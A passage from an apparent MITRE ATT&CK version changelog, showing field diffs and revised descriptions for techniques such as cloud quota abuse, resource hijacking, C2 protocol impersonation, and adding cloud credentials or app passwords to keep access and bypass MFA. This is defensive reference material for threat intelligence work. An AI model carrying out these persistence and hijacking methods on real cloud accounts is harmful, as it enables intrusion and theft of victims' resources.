For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)
Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022) | Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.
For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)
Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Microsoft Subscription Hijacking 2022', 'description': 'Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.', 'url': 'https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121'} | |
| external_references | {'source_name': 'Microsoft Peach Sandstorm 2023', 'description': 'Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.', 'url': 'https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/'} | |
[T1001.003] Data Obfuscation: Protocol or Service Impersonation
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may impersonate legitimate protocols or web serv | t | Adversaries may impersonate legitimate protocols or web serv |
| ice traffic to disguise command and control activity and thw | | ice traffic to disguise command and control activity and thw |
| art analysis efforts. By impersonating legitimate protocols | | art analysis efforts. By impersonating legitimate protocols |
| or web services, adversaries can make their command and cont | | or web services, adversaries can make their command and cont |
| rol traffic blend in with legitimate network traffic. Adv | | rol traffic blend in with legitimate network traffic. Adv |
| ersaries may impersonate a fake SSL/TLS handshake to make it | | ersaries may impersonate a fake SSL/TLS handshake to make it |
| look like subsequent traffic is SSL/TLS encrypted, potentia | | look like subsequent traffic is SSL/TLS encrypted, potentia |
| lly interfering with some security tooling, or to make the t | | lly interfering with some security tooling, or to make the t |
| raffic look like it is related with a trusted entity. | | raffic look like it is related with a trusted entity. Adve |
| | | rsaries may also leverage legitimate protocols to impersonat |
| | | e expected web traffic or trusted services. For example, adv |
| | | ersaries may manipulate HTTP headers, URI endpoints, SSL cer |
| | | tificates, and transmitted data to disguise C2 communication |
| | | s or mimic legitimate services such as Gmail, Google Drive, |
| | | and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citatio |
| | | n: Malleable-C2-U42) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['James Emery-Callcott, Emerging Threats Team, Proofpoint'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-15 00:40:27.503000+00:00 | 2024-10-09 15:40:19.436000+00:00 |
| name | Protocol Impersonation | Protocol or Service Impersonation |
| description | Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.
Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. | Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.
Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.
Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42) |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Malleable-C2-U42', 'description': 'Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.', 'url': 'https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/'} |
| external_references | | {'source_name': 'ESET Okrum July 2019', 'description': 'Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf'} |
[T1496] Resource Hijacking
Current version: 2.0
Version changed from: 1.5 → 2.0
|
|
|---|
| t | Adversaries may leverage the resources of co-opted systems t | t | Adversaries may leverage the resources of co-opted systems t |
| o complete resource-intensive tasks, which may impact system | | o complete resource-intensive tasks, which may impact system |
| and/or hosted service availability. One common purpose fo | | and/or hosted service availability. Resource hijacking ma |
| r Resource Hijacking is to validate transactions of cryptocu | | y take a number of different forms. For example, adversaries |
| rrency networks and earn virtual currency. Adversaries may c | | may: * Leverage compute resources in order to mine cryptoc |
| onsume enough system resources to negatively impact and/or c | | urrency * Sell network bandwidth to proxy networks * Generat |
| ause affected machines to become unresponsive.(Citation: Kas | | e SMS traffic for profit * Abuse cloud-based messaging servi |
| persky Lazarus Under The Hood Blog 2017) Servers and cloud-b | | ces to send large quantities of spam messages In some cases |
| ased systems are common targets because of the high potentia | | , adversaries may leverage multiple types of Resource Hijack |
| l for available resources, but user endpoint systems may als | | ing at once.(Citation: Sysdig Cryptojacking Proxyjacking 202 |
| o be compromised and used for Resource Hijacking and cryptoc | | 3) |
| urrency mining.(Citation: CloudSploit - Unused AWS Regions) | | |
| Containerized environments may also be targeted due to the e | | |
| ase of deployment via exposed APIs and the potential for sca | | |
| ling mining activities by deploying or compromising multiple | | |
| containers within an environment or cluster.(Citation: Unit | | |
| 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker | | |
| APIs) Additionally, some cryptocurrency mining malware iden | | |
| tify then kill off processes for competing malware to ensure | | |
| it’s not competing for resources.(Citation: Trend Micro War | | |
| of Crypto Miners) Adversaries may also use malware that le | | |
| verages a system's network bandwidth as part of a botnet in | | |
| order to facilitate [Network Denial of Service](https://atta | | |
| ck.mitre.org/techniques/T1498) campaigns and/or to seed mali | | |
| cious torrents.(Citation: GoBotKR) Alternatively, they may e | | |
| ngage in proxyjacking by selling use of the victims' network | | |
| bandwidth and IP address to proxyware services.(Citation: S | | |
| ysdig Proxyjacking) | | |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0025: Cloud Service (Cloud Service Modification)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-14 21:00:00.467000+00:00 | 2024-10-13 17:00:09.759000+00:00 |
| description | Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)
Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) | Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
Resource hijacking may take a number of different forms. For example, adversaries may:
* Leverage compute resources in order to mine cryptocurrency
* Sell network bandwidth to proxy networks
* Generate SMS traffic for profit
* Abuse cloud-based messaging services to send large quantities of spam messages
In some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023) |
| x_mitre_version | 1.5 | 2.0 |
| x_mitre_contributors[6] | Goldstein Menachem | Menachem Goldstein |
| external_references[1] | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | {'source_name': 'Sysdig Cryptojacking Proxyjacking 2023', 'description': 'Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.', 'url': 'https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/'} |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources | | Application Log: Application Log Content |
| x_mitre_platforms | | SaaS |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc'} | |
| external_references | {'source_name': 'Sysdig Proxyjacking', 'description': 'Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.', 'url': 'https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/'} | |
| external_references | {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'} | |
| external_references | {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'} | |
| external_references | {'source_name': 'GoBotKR', 'description': 'Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.', 'url': 'https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/'} | |
Minor Version Changes
[T1003.008] OS Credential Dumping: /etc/passwd and /etc/shadow
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 15:56:55.022000+00:00 | 2024-09-25 20:48:04.491000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1558.004] Steal or Forge Kerberos Tickets: AS-REP Roasting
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-07 19:23:33.039000+00:00 | 2024-10-15 15:32:07.850000+00:00 |
| external_references[1]['description'] | HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020. | HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024. |
| external_references[1]['url'] | http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ | https://blog.harmj0y.net/activedirectory/roasting-as-reps/ |
| x_mitre_version | 1.0 | 1.1 |
[T1548] Abuse Elevation Control Mechanism
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 20:52:09.908000+00:00 | 2024-10-15 15:32:21.811000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[5] | Google Workspace | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Azure AD | |
[T1531] Account Access Removal
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-22 20:39:15.680000+00:00 | 2024-10-15 15:35:13.577000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | IaaS |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1087] Account Discovery
Current version: 2.5
Version changed from: 2.4 → 2.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-12 23:36:56.245000+00:00 | 2024-10-15 15:35:28.784000+00:00 |
| x_mitre_version | 2.4 | 2.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1098] Account Manipulation
Current version: 2.7
Version changed from: 2.6 → 2.7
New Mitigations:
- M1022: Restrict File and Directory Permissions
- M1042: Disable or Remove Feature or Program
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-16 22:24:38.234000+00:00 | 2024-10-15 15:35:57.382000+00:00 |
| x_mitre_version | 2.6 | 2.7 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1137.006] Office Application Startup: Add-ins
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:26:09.296000+00:00 | 2024-10-15 15:37:09.190000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1098.001] Account Manipulation: Additional Cloud Credentials
Current version: 2.8
Version changed from: 2.7 → 2.8
|
|
|---|
| t | Adversaries may add adversary-controlled credentials to a cl | t | Adversaries may add adversary-controlled credentials to a cl |
| oud account to maintain persistent access to victim accounts | | oud account to maintain persistent access to victim accounts |
| and instances within the environment. For example, adversa | | and instances within the environment. For example, adversa |
| ries may add credentials for Service Principals and Applicat | | ries may add credentials for Service Principals and Applicat |
| ions in addition to existing legitimate credentials in Azure | | ions in addition to existing legitimate credentials in Azure |
| AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citat | | / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc |
| ion: Blue Cloud of Death)(Citation: Blue Cloud of Death Vide | | e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De |
| o) These credentials include both x509 keys and passwords.(C | | ath Video) These credentials include both x509 keys and pass |
| itation: Microsoft SolarWinds Customer Guidance) With suffic | | words.(Citation: Microsoft SolarWinds Customer Guidance) Wit |
| ient permissions, there are a variety of ways to add credent | | h sufficient permissions, there are a variety of ways to add |
| ials including the Azure Portal, Azure command line interfac | | credentials including the Azure Portal, Azure command line |
| e, and Azure or Az PowerShell modules.(Citation: Demystifyin | | interface, and Azure or Az PowerShell modules.(Citation: Dem |
| g Azure AD Service Principals) In infrastructure-as-a-servi | | ystifying Azure AD Service Principals) In infrastructure-as |
| ce (IaaS) environments, after gaining access through [Cloud | | -a-service (IaaS) environments, after gaining access through |
| Accounts](https://attack.mitre.org/techniques/T1078/004), ad | | [Cloud Accounts](https://attack.mitre.org/techniques/T1078/ |
| versaries may generate or import their own SSH keys using ei | | 004), adversaries may generate or import their own SSH keys |
| ther the <code>CreateKeyPair</code> or <code>ImportKeyPair</ | | using either the <code>CreateKeyPair</code> or <code>ImportK |
| code> API in AWS or the <code>gcloud compute os-login ssh-ke | | eyPair</code> API in AWS or the <code>gcloud compute os-logi |
| ys add</code> command in GCP.(Citation: GCP SSH Key Add) Thi | | n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key |
| s allows persistent access to instances within the cloud env | | Add) This allows persistent access to instances within the c |
| ironment without further usage of the compromised cloud acco | | loud environment without further usage of the compromised cl |
| unts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind | | oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe |
| the Scenes) Adversaries may also use the <code>CreateAcces | | l Behind the Scenes) Adversaries may also use the <code>Cre |
| sKey</code> API in AWS or the <code>gcloud iam service-accou | | ateAccessKey</code> API in AWS or the <code>gcloud iam servi |
| nts keys create</code> command in GCP to add access keys to | | ce-accounts keys create</code> command in GCP to add access |
| an account. If the target account has different permissions | | keys to an account. Alternatively, they may use the <code>Cr |
| from the requesting account, the adversary may also be able | | eateLoginProfile</code> API in AWS to add a password that ca |
| to escalate their privileges in the environment (i.e. [Cloud | | n be used to log into the AWS Management Console for [Cloud |
| Accounts](https://attack.mitre.org/techniques/T1078/004)).( | | Service Dashboard](https://attack.mitre.org/techniques/T1538 |
| Citation: Rhino Security Labs AWS Privilege Escalation)(Cita | | ).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo |
| tion: Sysdig ScarletEel 2.0) For example, in Azure AD enviro | | rk AI Resource Hijacking 2024) If the target account has dif |
| nments, an adversary with the Application Administrator role | | ferent permissions from the requesting account, the adversar |
| can add a new set of credentials to their application's ser | | y may also be able to escalate their privileges in the envir |
| vice principal. In doing so the adversary would be able to a | | onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn |
| ccess the service principal’s roles and permissions, which m | | iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile |
| ay be different from those of the Application Administrator. | | ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example, |
| (Citation: SpecterOps Azure Privilege Escalation) In AWS e | | in Entra ID environments, an adversary with the Application |
| nvironments, adversaries with the appropriate permissions ma | | Administrator role can add a new set of credentials to thei |
| y also use the `sts:GetFederationToken` API call to create a | | r application's service principal. In doing so the adversary |
| temporary set of credentials to [Forge Web Credentials](htt | | would be able to access the service principal’s roles and p |
| ps://attack.mitre.org/techniques/T1606) tied to the permissi | | ermissions, which may be different from those of the Applica |
| ons of the original user account. These temporary credential | | tion Administrator.(Citation: SpecterOps Azure Privilege Esc |
| s may remain valid for the duration of their lifetime even i | | alation) In AWS environments, adversaries with the appropr |
| f the original account’s API credentials are deactivated. (C | | iate permissions may also use the `sts:GetFederationToken` A |
| itation: Crowdstrike AWS User Federation Persistence) | | PI call to create a temporary set of credentials to [Forge W |
| | | eb Credentials](https://attack.mitre.org/techniques/T1606) t |
| | | ied to the permissions of the original user account. These t |
| | | emporary credentials may remain valid for the duration of th |
| | | eir lifetime even if the original account’s API credentials |
| | | are deactivated. (Citation: Crowdstrike AWS User Federation |
| | | Persistence) In Entra ID environments with the app password |
| | | feature enabled, adversaries may be able to add an app pass |
| | | word to a user account.(Citation: Mandiant APT42 Operations |
| | | 2024) As app passwords are intended to be used with legacy d |
| | | evices that do not support multi-factor authentication (MFA) |
| | | , adding an app password can allow an adversary to bypass MF |
| | | A requirements. Additionally, app passwords may remain valid |
| | | even if the user’s primary password is reset.(Citation: Mic |
| | | rosoft Entra ID App Passwords) |
New Mitigations:
- M1042: Disable or Remove Feature or Program
New Detections:
- DS0026: Active Directory (Active Directory Object Creation)
- DS0026: Active Directory (Active Directory Object Modification)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-28 14:35:00.862000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence) | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence)
In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords) |
| x_mitre_version | 2.7 | 2.8 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Lacework AI Resource Hijacking 2024', 'description': 'Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.', 'url': 'https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts'} |
| external_references | | {'source_name': 'Permiso Scattered Spider 2023', 'description': 'Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.', 'url': 'https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud'} |
| external_references | | {'source_name': 'Microsoft Entra ID App Passwords', 'description': 'Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.', 'url': 'https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords'} |
| external_references | | {'source_name': 'Mandiant APT42 Operations 2024', 'description': "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.", 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations'} |
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_data_sources | | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources | | Active Directory: Active Directory Object Modification |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[T1098.003] Account Manipulation: Additional Cloud Roles
Current version: 2.5
Version changed from: 2.4 → 2.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-29 18:29:06.873000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 2.4 | 2.5 |
| x_mitre_platforms[3] | Google Workspace | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Azure AD | |
[T1098.002] Account Manipulation: Additional Email Delegate Permissions
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-03 15:46:06.706000+00:00 | 2024-10-15 15:37:25.303000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Nilesh Dherange (Gurucul) |
| x_mitre_contributors | | Naveen Vijayaraghavan |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_platforms | Google Workspace | |
[T1550.001] Use Alternate Authentication Material: Application Access Token
Current version: 1.7
